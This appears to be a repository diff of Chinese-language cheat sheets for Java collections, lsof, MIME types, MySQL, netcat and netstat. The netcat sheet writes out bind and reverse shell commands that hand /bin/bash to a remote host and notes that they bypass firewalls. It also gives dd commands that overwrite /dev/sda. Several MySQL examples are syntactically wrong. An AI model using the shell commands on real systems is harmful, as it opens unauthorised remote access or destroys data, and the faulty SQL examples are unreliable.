[ArrayBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/ArrayBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
[LinkedBlockingDeque](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/LinkedBlockingDeque.html) | Deque | Y | _N_ | Y | Y | _N_
[PriorityBlockingQueue](https://docs.oracle.com/javase/8/docs/api/java/util/concurrent/PriorityBlockingQueue.html) | Queue | Y | _N_ | Y | Y | _N_
<!--rehype:className=show-header-->
### ArrayList
```java
List<Integer> nums = new ArrayList<>();
// 添加
nums.add(2);
nums.add(5);
nums.add(8);
// 检索
System.out.println(nums.get(0));
// 为循环迭代编制索引
for (int i = 0; i < nums.size(); i++) {
System.out.println(nums.get(i));
}
nums.remove(nums.size() - 1);
nums.remove(0); // 非常慢
for (Integer value : nums) {
System.out.println(value);
}
```
### HashMap
```java
Map<Integer, String> m = new HashMap<>();
m.put(5, "Five");
m.put(8, "Eight");
m.put(6, "Six");
m.put(4, "Four");
m.put(2, "Two");
// 检索
System.out.println(m.get(6));
// Lambda forEach
m.forEach((key, value) -> {
String msg = key + ": " + value;
System.out.println(msg);
});
```
### HashSet
```java
Set<String> set = new HashSet<>();
if (set.isEmpty()) {
System.out.println("Empty!");
}
set.add("dog");
set.add("cat");
set.add("mouse");
set.add("snake");
set.add("bear");
if (set.contains("cat")) {
System.out.println("Contains cat");
}
set.remove("cat");
for (String element : set) {
System.out.println(element);
}
```
### ArrayDeque
```java
Deque<String> a = new ArrayDeque<>();
// 使用 add()
a.add("Dog");
// 使用 addFirst()
a.addFirst("Cat");
// 使用 addLast()
a.addLast("Horse");
// [Cat, Dog, Horse]
System.out.println(a);
// 访问元素
System.out.println(a.peek());
// 移除元素
System.out.println(a.pop());
```
杂项 Misc
----
### 访问修饰符
<!--rehype:wrap-class=col-span-2-->
| 修饰符 | Class | Package | Subclass | World |
|-------------|-------|---------|----------|-------|
| public | Y | Y | Y | Y |
| protected | Y | Y | Y | _N_ |
| no modifier | Y | Y | _N_ | _N_ |
| private | Y | _N_ | _N_ | _N_ |
<!--rehype:className=show-header-->
### 常用表达
```java
String text = "I am learning Java";
// 删除所有空格
text.replaceAll("\\s+", "");
// 拆分字符串
text.split("\\|");
text.split(Pattern.quote("|"));
```
查看: [Regex in java](./regex.md#java-中的正则表达式)
### 注释 Comment
```java
// 我是单行注释!
/*
而我是一个
多行注释!
*/
/**
* 这个
* 是
* 文档
* 注释
*/
```
### 关键字
<!--rehype:wrap-class=col-span-2-->
- abstract
- continue
- for
- new
- switch
- assert
- default
- goto
- package
- synchronized
- boolean
- do
- if
- private
- this
- break
- double
- implements
- protected
- throw
- byte
- else
- import
- public
- throws
- case
- enum
- instanceof
- return
- transient
- catch
- extends
- int
- short
- try
- char
- final
- interface
- static
- void
- class
- finally
- long
- strictfp
- volatile
- const
- float
- native
- super
- while
<!--rehype:className=cols-7 style-none-->
### 数学方法
方法 | 说明
:-|:-
`Math.max(a,b)` | `a``b` 的最大值
`Math.min(a,b)` | `a``b` 的最小值
`Math.abs(a)` | 绝对值
`Math.sqrt(a)` | `a` 的平方根
`Math.pow(a,b)` | `b` 的幂
`Math.round(a)` | 最接近的整数
`Math.sin(ang)` | 正弦
`Math.cos(ang)` | `ang` 的余弦
`Math.tan(ang)` | `ang` 的切线
`Math.asin(ang)` | `ang` 的反正弦
`Math.log(a)` | `a` 的自然对数
`Math.toDegrees(rad)` | 以度为单位的角度弧度
`Math.toRadians(deg)` | 以弧度为单位的角度度
### Try/Catch/Finally
```java
try {
// something
} catch (Exception e) {
e.printStackTrace();
} finally {
System.out.println("always printed");
}
```
另见
---
- [Java 官网](https://www.java.com/zh-CN/) _(java.com)_

226
docs/lsof.md Normal file
View File

@ -0,0 +1,226 @@
Lsof 备忘清单
===
这个快速参考备忘单提供了使用 lsof 命令的各种方法。
入门
----
### 介绍
**lsof** 表示 `L`i`s`t `O`pen `F`iles 用于查找哪个进程打开了哪些文件
```shell
$ lsof
$ sudo lsof -u root
```
### 特定于端口
```shell
$ lsof -i :8080
$ lsof -i :80 -i :22
$ lsof -i TCP:22
$ lsof -i TCP:1-1024
$ lsof -i UDP
$ lsof -i @192.168.1.5
```
### 特定于进程
```shell
$ lsof -c mysql
$ lsof -c java
$ lsof -c ssh
$ lsof -c nginx
$ lsof -c ssh -c httpd
```
### 特定于用户
```shell
$ lsof -u www-data
$ lsof -u www-data -u ubuntu
$ lsof -i -u ^root # 特定用户除外
```
### 特定于网络
```shell
$ lsof -i 4 # 仅 IPv4
$ lsof -i 6 # 仅 IPv6
```
### 特定的PID
```shell
$ lsof -p 1753
$ lsof -p ^3 # 除了某些pid
```
### 特定文件名
```shell
$ lsof /var/log/messages
$ lsof /etc/passwd
```
### 特定目录
```shell
$ lsof +D /var/log # 在目录内
```
### Kill
```shell
$ kill -9 `lsof -t -u apache`
$ kill -9 $(lsof -t -i :8080)
```
### 参数
<!--rehype:wrap-class=row-span-2-->
```bash
-a # 列出打开文件存在的进程;
-c<进程名> # 列出指定进程所打开的文件;
-g # 列出GID号进程详情
-d<文件号> # 列出占用该文件号的进程;
+d<目录> # 列出目录下被打开的文件;
+D<目录> # 递归列出目录下被打开的文件;
-n<目录> # 列出使用NFS的文件
-i<条件> # 列出符合条件的进程(协议,:端口,@ip)
-p<进程号> # 列出指定进程号所打开的文件;
-u # 列出UID号进程详情
-h # 显示帮助信息;
-v # 显示版本信息
```
### 列出指定进程号所打开的文件
```bash
lsof -p $pid
```
### 获取端口对应的进程 ID=>pid
```bash
lsof -i:9981 -P -t -sTCP:LISTEN
```
### 列出打开文件的进程:
```bash
lsof $filename
```
示例
---
### 示例
<!--rehype:wrap-class=col-span-2-->
```bash
$ lsof
command PID USER FD type DEVICE SIZE NODE NAME
init 1 root cwd DIR 8,2 4096 2 /
init 1 root rtd DIR 8,2 4096 2 /
init 1 root txt REG 8,2 43496 6121706 /sbin/init
init 1 root mem REG 8,2 143600 7823908 /lib64/ld-2.5.so
init 1 root mem REG 8,2 1722304 7823915 /lib64/libc-2.5.so
init 1 root mem REG 8,2 23360 7823919 /lib64/libdl-2.5.so
init 1 root mem REG 8,2 95464 7824116 /lib64/libselinux.so.1
init 1 root mem REG 8,2 247496 7823947 /lib64/libsepol.so.1
init 1 root 10u FIFO 0,17 1233 /dev/initctl
migration 2 root cwd DIR 8,2 4096 2 /
migration 2 root rtd DIR 8,2 4096 2 /
migration 2 root txt unknown /proc/2/exe
```
### 文件描述符列表(FD)
<!--rehype:wrap-class=row-span-3-->
:- | :-
:- | :-
`cwd` | 表示当前工作目录,即:应用程序的当前工作目录,这是该应用程序启动的目录,除非它本身对这个目录进行更改
`txt` | 该类型的文件是程序代码,如应用程序二进制文件本身或共享库,如上列表中显示的 /sbin/init 程序
`lnn` | 库引用 (AIX);
`er` | FD 信息错误(参见名称栏)
`jld` | jail 目录 (FreeBSD);
`ltx` | 共享库文本(代码和数据)
`mxx` | 十六进制内存映射类型编号xx
`m86` | DOS合并映射文件
`mem` | 内存映射文件
`mmap` | 内存映射设备
`pd` | 父目录
`rtd` | 根目录
`tr` | 内核跟踪文件 (OpenBSD)
`v86` | VP/ix 映射文件
`0` | 表示标准输出
`1` | 表示标准输入
`2` | 表示标准错误
<!--rehype:className=style-list-arrow-->
### 示例列信息
:- | :-
:- | :-
`COMMAND` | 进程的名称
`PID` | 进程标识符
`PPID` | 父进程标识符(需要指定-R参数
`USER` | 进程所有者
`PGID` | 进程所属组
`FD` | 文件描述符,应用程序通过它识别该文件
### 标准输出/输入/错误文件状态模式(FD)
:- | :-
:- | :-
`u` | 表示该文件被打开并处于读取/写入模式
`r` | 表示该文件被打开并处于只读模式
`w` | 表示该文件被打开并处于写入模式
`空格` | 表示该文件的状态模式为 unknow且没有锁定
`-` | 表示该文件的状态模式为 unknow且被锁定
一般在[标准输出/输入/错误](#文件描述符列表fd)后还跟着文件状态模式
### 文件状态模锁 (FD)
:- | :-
:- | :-
`N` | 对于未知类型的Solaris NFS锁
`r` | 用于部分文件的读取锁定
`R` | 对整个文件进行读取锁定
`w` | 对文件的一部分进行写锁定(文件的部分写锁)
`W` | 对整个文件进行写锁定(整个文件的写锁)
`u` | 用于任何长度的读写锁
`U` | 对于未知类型的锁
`x` | 对于文件部分的SCO OpenServer Xenix锁
`X` | 对于整个文件的SCO OpenServer Xenix锁
`space` | 如果没有锁
在[文件状态模式](#标准输出输入错误文件状态模式fd)后面,还跟着相关的锁
### 文件类型
标识 | 说明
:- | :-
`DIR` | 表示目录
`CHR` | 表示字符类型
`BLK` | 块设备类型
`UNIX` | UNIX 域套接字
`FIFO` | 先进先出 (FIFO) 队列
`IPv4` | 网际协议 (IP) 套接字
`DEVICE` | 指定磁盘的名称
`SIZE` | 文件的大小
`NODE` | 索引节点(文件在磁盘上的标识)
`NAME` | 打开文件的确切名称
`REG` | 常规文件
另见
---
- [lsof 命令帮助文档](https://jaywcjlove.github.io/linux-command/c/lsof.html) _(jaywcjlove.github.io)_

107
docs/mime.md Normal file
View File

@ -0,0 +1,107 @@
MIME 类型 备忘清单
===
此备忘单列出了一些常见的 Web MIME 类型。 您可以查看包含所有已注册 MIME 类型的 [IANA/MIME 媒体类型注册表](https://www.iana.org/assignments/media-types/media-types.xhtml)。
入门
----
### 介绍
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
- MIME 类型注册表关联特定的文件扩展名和文件名模式
- MIME多用途 Internet 邮件扩展)类型又名媒体类型
- MIME 类型在 IETF 的 RFC 6838 中定义和标准化
- 表示文档、文件或字节分类的性质和格式。
- 对于 Internet 上的文件格式或格式内容
<!--rehype:className=style-round-->
MIME 类型列表
--------
### 常见的 MIME媒体类型
<!--rehype:wrap-class=col-span-3-->
扩展名 | MIME 类型(内容类型) | 文件种类
:-|:-|:-
\.aac | audio/aac | AAC 音频
\.abw | application/x\-abiword | AbiWord 文档
\.arc | application/x\-freearc | 存档文档(嵌入多个文件)
\.avi | video/x\-msvideo | AVI: 音频视频交错
\.azw | application/vnd\.amazon\.ebook | 亚马逊 Kindle 电子书格式
\.bin | application/octet\-stream | 任何类型的二进制数据
\.bmp | image/bmp | Windows OS/2 位图图形
\.bz | application/x\-bzip | BZip 存档
\.bz2 | application/x\-bzip2 | BZip2 存档
\.csh | application/x\-csh | C\-Shell 脚本
\.css | text/css | 级联样式表 (CSS)
\.csv | text/csv | 逗号分隔值 (CSV)
\.doc | application/msword | 微软 Word
\.docx | application/vnd\.openxmlformats\-officedocument\.wordprocessingml\.document | 微软 Word (OpenXML)
\.eot | application/vnd\.ms\-fontobject | MS 嵌入式 OpenType 字体
\.epub | application/epub\+zip | 电子出版物 (EPUB)
\.gz | application/gzip | GZip 压缩存档
\.gif | image/gif | 图形交换格式 (GIF)
\.htm \.html | text/html | 超文本标记语言 (HTML)
\.ico | image/vnd\.microsoft\.icon | 图标格式
\.ics | text/calendar | iCalendar 格式
\.jar | application/java\-archive | Java 存档 (JAR)
\.jpeg \.jpg | image/jpeg | JPEG 图像
\.js | text/javascript | JavaScript
\.json | application/json | JSON格式
\.jsonld | application/ld\+json | JSON\-LD 格式
\.mid \.midi | audio/midi audio/x\-midi | 乐器数字接口 (MIDI)
\.mjs | text/javascript | JavaScript 模块
\.mp3 | audio/mpeg | MP3 音频
\.mpeg | video/mpeg | MPEG 视频
\.mpkg | application/vnd\.apple\.installer\+xml | Apple 安装程序包
\.odp | application/vnd\.oasis\.opendocument\.presentation | OpenDocument 演示文档
\.ods | application/vnd\.oasis\.opendocument\.spreadsheet | OpenDocument 电子表格文档
\.odt | application/vnd\.oasis\.opendocument\.text | OpenDocument 文本文档
\.oga | audio/ogg | OGG 音频
\.ogv | video/ogg | OGG 视频
\.ogx | application/ogg | OGG
\.opus | audio/opus | Opus 音频
\.otf | font/otf | OpenType 字体
\.png | image/png | 便携式网络图形
\.pdf | application/pdf | Adobe 便携式文档格式 (PDF)
\.php | application/php | 超文本预处理器(个人主页)
\.ppt | application/vnd\.ms\-powerpoint | 微软PowerPoint
\.pptx | application/vnd\.openxmlformats\-officedocument\.presentationml\.presentation | 微软 PowerPoint (OpenXML)
\.rar | application/vnd\.rar | RAR 存档
\.rtf | application/rtf | 富文本格式 (RTF)
\.sh | application/x\-sh | Bourne shell 脚本
\.svg | image/svg\+xml | 可缩放矢量图形 (SVG)
\.swf | application/x\-shockwave\-flash | 小型 Web 格式 (SWF) 或 Adobe Flash 文档
\.tar | application/x\-tar | Tape 存档 (TAR)
\.tif \.tiff | image/tiff | 标记图像文件格式 (TIFF)
\.ts | video/mp2t | MPEG 传输流
\.ttf | font/ttf | TrueType 字体
\.txt | text/plain | 文本,(通常为 ASCII 或 ISO 8859\-n
\.vsd | application/vnd\.visio | 微软 Visio
\.wav | audio/wav | Waveform 音频格式
\.weba | audio/webm | WEBM 音频
\.webm | video/webm | WEBM视频
\.webp | image/webp | WEBP图像
\.woff | font/woff | Web 开放字体格式 (WOFF)
\.woff2 | font/woff2 | Web 开放字体格式 (WOFF)
\.xhtml | application/xhtml\+xml | XHTML
\.xls | application/vnd\.ms\-excel | Microsoft Excel
\.xlsx | application/vnd\.openxmlformats\-officedocument\.spreadsheetml\.sheet | Microsoft Excel (OpenXML)
\.xml | application/xml 如果临时用户不可读(RFC 3023第 3 节) text/xml如果临时用户可读(RFC 3023第 3 节) | XML
\.xul | application/vnd\.mozilla\.xul\+xml | XUL
\.zip | application/zip | ZIP 档案
\.3gp | video/3gpp audio/3gpp 如果它不包含视频 | 3GPP 音视频容器
\.3g2 | video/3gpp2 audio/3gpp2 如果它不包含视频 | 3GPP2 音视频容器
\.7z | application/x\-7z\-compressed | 7-zip 存档
\.markdown \.md | text/markdown | Markdown 文件
<!--rehype:className=show-header-->
另见
---
- [iana mime.types](http://www.iana.org/assignments/media-types/media-types.xhtml) _(iana.org)_
- [apache mime.types](http://svn.apache.org/repos/asf/httpd/httpd/trunk/docs/conf/mime.types) _(svn.apache.org)_
- [nginx mime.types](http://hg.nginx.org/nginx/raw-file/default/conf/mime.types) _(hg.nginx.org)_

605
docs/mysql.md Normal file
View File

@ -0,0 +1,605 @@
MySQL 备忘清单
===
本备忘单旨在快速理解 [MySQL](https://mysql.com) 所涉及的主要概念提供了最常用的SQL语句供您参考。
入门
---
### 介绍
<!--rehype:wrap-class=row-span-3-->
MySQL 为关系型数据库(Relational Database Management System),一个关系型数据库由一个或数个表格组成,如下所示的一个表格
----
```bash
name ▼ 键 ▼ 列(col)
┌┈┈┈┈┬┈┈┈┈┈┈┈┈┬┈┈┈┈┈┈┬┈┈┈┈┈┈┈┐
┆ id ┆ name ┆ uid ┆ level ┆ ◀ 表头header
├┈┈┈┈┼┈┈┈┈┈┈┈┈┤┈┈┈┈┈┈┤┈┈┈┈┈┈┈┤
1 ┆ mysql ┆ 03
├┈┈┈┈┼┈┈┈┈┈┈┈┈┤┈┈┈┈┈┈┤┈┈┈┈┈┈┈┤
2 ┆ redis ┆ 121 ┆ ◀ 行 row
└┈┈┈┈┴┈┈┈┈┈┈┈┈┴┈┈┈┈┈┈┴┈┈┈┈┈┈┈┘
redis ▲ 值
```
----
- `表头(header)` 每一列的名称
- `列(col)` 具有相同数据类型的数据的集合
- `行(row)` 每一行用来描述某个人/物的具体信息
- `值(value)` 行的具体信息,每个值与该列数据类型相同
- `键(key)` 用来识别某个特定的人/物的方法,有唯一性
### 登录MySQL
```shell
# 默认用户名<root>-p 是密码,
# ⚠️参数后面不需要空格
mysql -h 127.0.0.1 -u <用户名> -p<密码>
mysql -D 数据库名 -h 主机名 -u 用户名 -p
mysql -h <host> -P <端口号> -u <user> -p [db_name]
mysql -h <host> -u <user> -p [db_name]
```
### 常用的
<!--rehype:wrap-class=row-span-3-->
#### 数据库 Database
:-|:-
:-|:-
`CREATE DATABASE` db `;` | `创建`数据库
`SHOW DATABASES;` | `列出`数据库
`USE` db`;` | `切换`到数据库
`CONNECT` db `;` | `切换`到数据库
`DROP DATABASE` db`;` | `删除`数据库
#### 表 Table
:-|:-
:-|:-
`SHOW TABLES;` | 列出当前数据库的表
`SHOW FIELDS FROM` t`;` | 表的列表字段
`DESC` t`;` | 显示表格结构
`SHOW CREATE TABLE `t`;` | 显示创建表sql
`TRUNCATE TABLE `t`;` | 删除表中的所有数据
`DROP TABLE `t`;` | 删除表格
#### Proccess
:-|:-
:-|:-
`show processlist;` | 列出进程
`kill` pid`;` | 杀死进程
### 查看 MySQL 信息
```shell
# 显示当前mysql的version的各种信息
mysql> status;
# 显示当前mysql的version信息
mysql> select version();
# 查看 MySQL 端口号
mysql> show global variables like 'port';
```
### 退出MySQL会话
```bash
mysql> exit
```
退出 `quit;``\q;` 一样的效果
### 备份
创建备份
```sql
mysqldump -u user -p db_name > db.sql
```
导出不带架构的数据库
```shell
mysqldump -u user -p db_name --no-data=true --add-drop-table=false > db.sql
```
<!--rehype:className=wrap-text -->
恢复备份
```shell
mysql -u user -p db_name < db.sql
```
MySQL 示例
------
### 管理表格
创建一个包含三列的新表
```sql
CREATE TABLE t (
id INT,
name VARCHAR DEFAULT NOT NULL,
price INT DEFAULT 0
PRIMARY KEY(id)
);
```
从数据库中删除表
```sql
DROP TABLE t ;
```
向表中添加新列
```sql
ALTER TABLE t ADD column;
```
从表中删除列c
```sql
ALTER TABLE t DROP COLUMN c ;
```
添加约束
```sql
ALTER TABLE t ADD constraint;
```
删除约束
```sql
ALTER TABLE t DROP constraint;
```
将表从t1重命名为t2
```sql
ALTER TABLE t1 RENAME TO t2;
```
将列c1重命名为c2
```sql
ALTER TABLE t1 RENAME c1 TO c2 ;
```
删除表中的所有数据
```sql
TRUNCATE TABLE t;
```
### 从表中查询数据
从表中查询列c1、c2中的数据
```sql
SELECT c1, c2 FROM t
```
查询表中的所有行和列
```sql
SELECT * FROM t
```
查询数据并使用条件筛选行
```sql
SELECT c1, c2 FROM t
WHERE condition
```
查询表中的不同行
```sql
SELECT DISTINCT c1 FROM t
WHERE condition
```
按升序或降序对结果集排序
```sql
SELECT c1, c2 FROM t
ORDER BY c1 ASC [DESC]
```
跳过行的偏移并返回下n行
```sql
SELECT c1, c2 FROM t
ORDER BY c1
LIMIT n OFFSET offset
```
使用聚合函数对行进行分组
```sql
SELECT c1, aggregate(c2)
FROM t
GROUP BY c1
```
使用HAVING子句筛选组
```sql
SELECT c1, aggregate(c2)
FROM t
GROUP BY c1
HAVING condition
```
### 从多个表查询
<!--rehype:wrap-class=row-span-2-->
内部连接 t1 和 t2
```sql
SELECT c1, c2
FROM t1
INNER JOIN t2 ON condition
```
左连接t1和t1
```sql
SELECT c1, c2
FROM t1
LEFT JOIN t2 ON condition
```
右连接t1和t2
```sql
SELECT c1, c2
FROM t1
RIGHT JOIN t2 ON condition
```
执行完全外部连接
```sql
SELECT c1, c2
FROM t1
FULL OUTER JOIN t2 ON condition
```
生成表中行的笛卡尔积
```sql
SELECT c1, c2
FROM t1
CROSS JOIN t2
```
执行交叉连接的另一种方法
```sql
SELECT c1, c2
FROM t1, t2
```
使用INNER Join子句将t1连接到自身
```sql
SELECT c1, c2
FROM t1 A
INNER JOIN t1 B ON condition
```
使用SQL运算符合并两个查询中的行
```sql
SELECT c1, c2 FROM t1
UNION [ALL]
SELECT c1, c2 FROM t2
```
返回两个查询的交集
```sql
SELECT c1, c2 FROM t1
INTERSECT
SELECT c1, c2 FROM t2
```
从另一个结果集中减去一个结果集
```sql
SELECT c1, c2 FROM t1
MINUS
SELECT c1, c2 FROM t2
```
使用模式匹配%查询行_
```sql
SELECT c1, c2 FROM t1
WHERE c1 [NOT] LIKE pattern
```
查询列表中的行
```sql
SELECT c1, c2 FROM t
WHERE c1 [NOT] IN value_list
```
查询两个值之间的行
```sql
SELECT c1, c2 FROM t
WHERE c1 BETWEEN low AND high
```
检查表中的值是否为NULL
```sql
SELECT c1, c2 FROM t
WHERE c1 IS [NOT] NULL
```
### 使用 SQL 约束
将c1和c2设置为主键
```sql
CREATE TABLE t(
c1 INT, c2 INT, c3 VARCHAR,
PRIMARY KEY (c1,c2)
);
```
将c2列设置为外键
```sql
CREATE TABLE t1(
c1 INT PRIMARY KEY,
c2 INT,
FOREIGN KEY (c2) REFERENCES t2(c2)
);
```
使c1和c2中的值唯一
```sql
CREATE TABLE t(
c1 INT, c1 INT,
UNIQUE(c2,c3)
);
```
确保c1>0和c1>=c2中的值
```sql
CREATE TABLE t(
c1 INT, c2 INT,
CHECK(c1> 0 AND c1 >= c2)
);
```
c2列中的设置值不为NULL
```sql
CREATE TABLE t(
c1 INT PRIMARY KEY,
c2 VARCHAR NOT NULL
);
```
### 修改数据
在表格中插入一行
```sql
INSERT INTO t(column_list)
VALUES(value_list);
```
在表格中插入多行
```sql
INSERT INTO t(column_list)
VALUES (value_list),
(value_list), ;
```
将行从t2插入t1
```sql
INSERT INTO t1(column_list)
SELECT column_list
FROM t2;
```
更新列c1中所有行的新值
```sql
UPDATE t
SET c1 = new_value;
```
更新列c1、c2中与条件匹配的值
```sql
UPDATE t
SET c1 = new_value,
c2 = new_value
WHERE condition;
```
删除表中的所有数据
```sql
DELETE FROM t;
```
删除表中的行子集
```sql
DELETE FROM t
WHERE condition;
```
### 管理视图
<!--rehype:wrap-class=row-span-2-->
创建由c1和c2组成的新视图
```sql
CREATE VIEW v(c1,c2)
AS
SELECT c1, c2
FROM t;
```
使用选中选项创建新视图
```sql
CREATE VIEW v(c1,c2)
AS
SELECT c1, c2
FROM t;
WITH [CASCADED | LOCAL] CHECK OPTION;
```
创建递归视图
```sql
CREATE RECURSIVE VIEW v
AS
select-statement -- anchor part
UNION [ALL]
select-statement; -- recursive part
```
创建临时视图
```sql
CREATE TEMPORARY VIEW v
AS
SELECT c1, c2
FROM t;
```
删除视图
```sql
DROP VIEW view_name;
```
### 管理触发器
创建或修改触发器
```sql
CREATE OR MODIFY TRIGGER trigger_name
WHEN EVENT
ON table_name TRIGGER_TYPE
EXECUTE stored_procedure;
```
#### WHEN
:-|:-
:-|:-
`BEFORE` | 在事件发生前调用
`AFTER` | 事件发生后调用
#### EVENT
:-|:-
:-|:-
`INSERT` | 为INSERT调用
`UPDATE` | 调用UPDATE
`DELETE` | 调用DELETE
#### TRIGGER_TYPE
:-|:-
:-|:-
`FOR EACH ROW` | -
`FOR EACH STATEMENT` | -
### 管理索引
在t表的c1和c2上创建索引
```sql
CREATE INDEX idx_name
ON t(c1,c2);
```
在t表的c3、c4上创建唯一索引
```sql
CREATE UNIQUE INDEX idx_name
ON t(c3,c4)
```
删除索引
```sql
DROP INDEX idx_name;
```
MySQL 数据类型
---------
### Strings
| - | - |
|--------------|-----------------------------|
| `CHAR` | String (0 - 255) |
| `VARCHAR` | String (0 - 255) |
| `TINYTEXT` | String (0 - 255) |
| `TEXT` | String (0 - 65535) |
| `BLOB` | String (0 - 65535) |
| `MEDIUMTEXT` | String (0 - 16777215) |
| `MEDIUMBLOB` | String (0 - 16777215) |
| `LONGTEXT` | String (0 - 429496­7295) |
| `LONGBLOB` | String (0 - 429496­7295) |
| `ENUM` | One of preset options |
| `SET` | Selection of preset options |
### Date & time
| Data Type | Format |
|-------------|---------------------|
| `DATE ` | yyyy-MM-dd |
| `TIME ` | hh:mm:ss |
| `DATETIME ` | yyyy-MM-dd hh:mm:ss |
| `TIMESTAMP` | yyyy-MM-dd hh:mm:ss |
| `YEAR ` | yyyy |
### Numeric
| - | - |
|---------------|---------------------------------------------------------------|
| `TINYINT x` | Integer (-128 to 127) |
| `SMALLINT x` | Integer (-32768 to 32767) |
| `MEDIUMINT x` | Integer (-8388608 to 8388607) |
| `INT x` | Integer (-2147­483648 to 214748­3647) |
| `BIGINT x` | Integer (-9223­372­036­854­775808 to 922337­203­685­477­5807) |
| `FLOAT` | Decimal (precise to 23 digits) |
| `DOUBLE` | Decimal (24 to 53 digits) |
| `DECIMAL` | "­DOU­BLE­" stored as string |
另见
---
- [SQL 基础教程](http://www.w3school.com.cn/sql/index.asp) _(w3school.com.cn)_
- [SQL 语句教程](http://www.1keydata.com/cn/sql/sql-count.php) _(1keydata.com)_
- [21分钟 MySQL 基础入门](https://jaywcjlove.github.io/mysql-tutorial/21-minutes-MySQL-basic-entry.html) _(jaywcjlove.github.io)_

231
docs/netcat.md Normal file
View File

@ -0,0 +1,231 @@
Netcat 备忘清单
===
该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
入门
------
<!--rehype:body-class=cols-5-->
### 用法
<!--rehype:wrap-class=col-span-2-->
连接到位于任何地方的主机
```shell
$ nc [options] [host] [port]
```
监听传入连接
```shell
$ nc -lp port [host] [port]
```
### 选项示例
<!--rehype:wrap-class=col-span-3 row-span-2-->
选项 | 示例 | 说明
:- | :- | :-
`-h` | nc -h | 帮助
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
`-k` | nc -kl 8000 | 断线后继续收听
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
### 聊天客户端-服务器
<!--rehype:wrap-class=col-span-2-->
服务器 Server (192.168.1.9)
```shell
$ nc -lv 8000
```
客户端 Client
```shell
$ nc 192.168.1.9 8000
```
Netcat 示例
--------
### Banner 抓取
```shell
$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1
```
或者
```shell
echo "" | nc -zv -wl 192.168.1.1 801-805
```
### 端口扫描
扫描 `21` 到 `25` 之间的端口
```shell
$ nc -zvn 192.168.1.1 21-25
```
扫描端口 `22`、`3306` 和 `8080`
```shell
$ nc -zvn 192.168.1.1 22 3306 8080
```
### 代理和端口转发
```shell
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
```
或者
```shell
$ nc -l 8001 | nc 127.0.0.1 8000
```
创建从一个本地端口到另一个本地端口的隧道
### 下载文件
服务器 Server (192.168.1.9)
```shell
$ nc -lv 8000 < file.txt
```
客户端 Client
```shell
$ nc -nv 192.168.1.9 8000 > file.txt
```
假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
### 上传文件
服务器 Server (192.168.1.9)
```shell
$ nc -lv 8000 > file.txt
```
客户端 Client
```shell
$ nc 192.168.1.9 8000 < file.txt
```
假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
### 目录传输
服务器 Server (192.168.1.9)
```shell
$ tar -cvf dir_name | nc -l 8000
```
客户端 Client
```shell
$ nc -n 192.168.1.9 8000 | tar -xvf -
```
假设您想通过网络将目录从 `A` 传输到 `B`
### 加密传输
<!--rehype:wrap-class=col-span-2-->
服务器 Server (192.168.1.9)
```shell
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
```
客户端 Client
```shell
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
```
在通过网络传输之前加密数据
### 克隆
服务器 Server (192.168.1.9)
```shell
$ dd if=/dev/sda | nc -l 8000
```
客户端 Client
```shell
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
```
克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
### 视频流
服务器 Server (192.168.1.9)
```shell
$ cat video.avi | nc -l 8000
```
客户端 Client
```shell {.wrap}
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
```
使用 netcat 流式传输视频
### 远程 shell
服务器 Server (192.168.1.9)
```shell
$ nc -lv 8000 -e /bin/bash
```
客户端 Client
```shell
$ nc 192.168.1.9 8000
```
我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`,但是如果它们没有安装并且我们没有安装它们的权限,那么我们也可以使用 `netcat` 创建远程 `shell`
### 逆转 shell
服务器 Server (192.168.1.9)
```shell
$ nc -lv 8000
```
客户端 Client
```shell
$ nc 192.168.1.9 8000 -v -e /bin/bash
```
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接

209
docs/netstat.md Normal file
View File

@ -0,0 +1,209 @@
Netstat 备忘清单
===
此快速参考备忘单提供了各种使用 netstat 命令的方法
入门
-----
### 入门实例
端口 80 上的所有连接
```shell
$ netstat -anp | grep :80
```
网络统计帮助
```shell
$ netstat -h
```
### 监听
选项 | 说明
:- | :-
`netstat -ltunp` | 所有监听端口
`netstat -ltn` | 监听 TCP 端口
`netstat -lun` | 监听 UDP 端口
`netstat -lx` | 监听 Unix 端口
`netstat -lt` | 仅列出侦听 TCP 端口
`netstat -lu` | 仅列出侦听 UDP 端口
`netstat -l` | 列出所有监听条件
### 连接
<!--rehype:wrap-class=row-span-2-->
选项 | 说明
:- | :-
`netstat -a` | 所有连接
`netstat -at` | 所有 TCP 连接
`netstat -au` | 所有 UDP 连接
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
选项 | 说明
:- | :-
`netstat` | 活动连接
`netstat -a` | 所有连接
`netstat -at` | 所有 TCP 连接
`netstat -au` | 所有 UDP 连接
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
`netstat -tnl` | 监听 TCP 端口
`netstat -unl` | 监听 UDP 端口
### 网络
选项 | 说明
:- | :-
`netstat -i` | 显示网络接口
`netstat -ie` | 显示网络接口扩展信息
`netstat -n` | 仅显示 IP 地址
`netstat -F` | 尽可能显示 IP 地址的域名
### 路由
选项 | 说明
:- | :-
`netstat -r` | 显示路由表
`netstat -rn` | 显示路由表,不解析主机
